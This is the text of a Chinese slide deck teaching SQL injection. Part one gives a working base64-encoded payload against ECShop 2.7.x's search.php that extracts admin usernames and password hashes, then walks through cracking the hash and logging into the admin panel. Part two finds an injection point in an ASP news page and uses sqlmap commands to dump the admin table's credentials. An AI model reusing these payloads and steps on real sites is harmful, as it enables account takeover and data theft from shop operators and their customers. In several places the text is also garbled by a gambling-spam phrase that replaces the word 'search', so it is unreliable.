SQL注入教程.pptx

SQL注入;ECShop是上海商派网络科技有限公司（ShopEx）旗下——B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。 ECShop悉心听取每一位商家的需求与建议，不仅设计了人性化的网店管理系统帮助商家快速上手，还根据中国人的购物习惯改进了购物流程，实现更好的用户购物体验。 经过近两年的发展，ECShop网店系统无论在产品功能、稳定性、执行效率、负载能力、安全性和SEO支持(有哪些信誉好的足球投注网站引擎优化)等方面都居国内同类产品领先地位，成为国内最流行的购物系统之一。 ;1.打开使用ECSHOP的网站：54/ ;2.在IE浏览器里输入测试语句： 『54/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319』 ;3.注入得到ECSHOP 2.7.X版本的后台管理员账户与密码哈希值。 ;4.把获取到的管理员账户密码的哈希值，进行破解。 打开http://www.hashkiller.co.uk/md5-decrypter.aspx MD5破解网站进行解码。 ;5.以上得出管理员用户与密码为:admin / 123456asdf.然后找出ECSHOP后台登陆地址进行登陆。 在百度有哪些信誉好的足球投注网站ECSHOP后台默认登陆地址，得到其后台地址为：54/admin 后台地址特殊情况下也可使用后台扫描程序得出。 ;6.输入获取到的密码进行登陆： 成功登陆.;1. 打开网站0:8080/ ;2.下面我们开始手工查找SQL注入点，点击主页中的新闻中的一点新闻链接。 ;3.从下图的地址栏，我们看见有一个是id=171，然后我们测试它是不是注入点。 ;4.在地址栏后面加上1=1以及加上1=2，如下图所示： ;如上图所示，当输入1=2时，出现错误，证明该URL存在SQL注入点。;5.接下来我们使用SQLMAP工具进行SQL注入。 登陆远程桌面0 用户名：administrator密码：123456 用命令行打开C:\sqlmap下的sqlmap.py工具，命令如下： sqlmap.py -u 0:8080/shownews.asp?id=171 --current-db ;如下图： ;6.命令执行完成后，得出站点的数据库名称及操作系统。如下图： ;7.下面使用SQLMAP.PY工具获取站点数据库的表名，命令： sqlmap.py -u 0:8080/shownews.asp?id=171 --tables 结果如下图所示： ;8.通过上面的表名猜测，用户名及密码表应该存放在admin表中，接着执行如下命令： sqlmap.py -u 0:8080/shownews.asp?id=171 --columns -T admin 该命令用于获取数据库中的admin表的列名（字段名）。结果如下面所示： ;9.上图获取到该表admin的列名user,content,id,password,title,user。 下面执行命令，获取admin表的用户名与密码。命令： sqlmap.py -u 0:8080/shownews.asp?id=171 --dump -T admin -C user,password ;返回结果如下图：;如上图所示，管理员用户名为admin 密码哈希值为：469e80d32c0559f8 通过破解工具破解结果为：admin888 如下图：